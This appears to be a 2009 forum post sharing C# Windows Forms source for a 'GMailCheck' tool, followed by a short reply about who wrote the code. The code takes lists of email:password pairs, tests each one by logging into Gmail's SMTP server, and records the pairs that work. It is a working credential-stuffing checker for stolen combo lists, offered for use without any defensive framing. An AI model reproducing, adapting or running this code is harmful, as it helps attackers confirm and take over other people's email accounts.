Nytro Posted August 23, 2009 Report Posted August 23, 2009 (edited) using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Windows.Forms;using System.Net.Mail;using System.Net;using System.Collections;using System.IO;namespace GMailCheck{ public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { try { if(textBox1.Text == "") MessageBox.Show("list is empty"); ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines for (int i = 0; i < mails.Count; i++) { ArrayList mailInfo = new ArrayList(mails[i].ToString().Split(':')); if (!mailInfo[0].ToString().EndsWith("@gmail.com")) mailInfo[0] = mailInfo[0] + "@gmail.com"; if (checkAccount(mailInfo[0].ToString(), mailInfo[1].ToString())) { textBox2.Text += mailInfo[0].ToString() + ":" + mailInfo[1].ToString() + "\r\n"; } } } catch (Exception ex) { MessageBox.Show(ex.Message); } } static bool checkAccount(string username, string password) { //we use fake emails so nobody recieves the email, if you want a email when //the correct login is found, supply your email address MailMessage msg = new MailMessage(); msg.From = new MailAddress("Wefwqefwef@sdfsddf.com");//fake email msg.To.Add("Asfasdf@ssdfs.com");//fake email msg.Subject = "test"; msg.Body = "test"; SmtpClient smtp = new SmtpClient("smtp.gmail.com"); smtp.Credentials = new NetworkCredential(username, password); smtp.EnableSsl = true; try { smtp.Send(msg); return true; } catch(Exception ex) { return false; } } private void button2_Click(object sender, EventArgs e) { try { openFileDialog1.ShowDialog(); StreamReader read = new StreamReader(openFileDialog1.FileName); while (!read.EndOfStream) { textBox1.Text += read.ReadLine() + "\r\n"; } } catch (Exception ex) { MessageBox.Show(ex.Message); } } }}Credits: sunjester Edited September 2, 2009 by Nytro Quote
Nytro Posted September 2, 2009 Author Report Posted September 2, 2009 Sorry, where I found it wasn't specified any author. Quote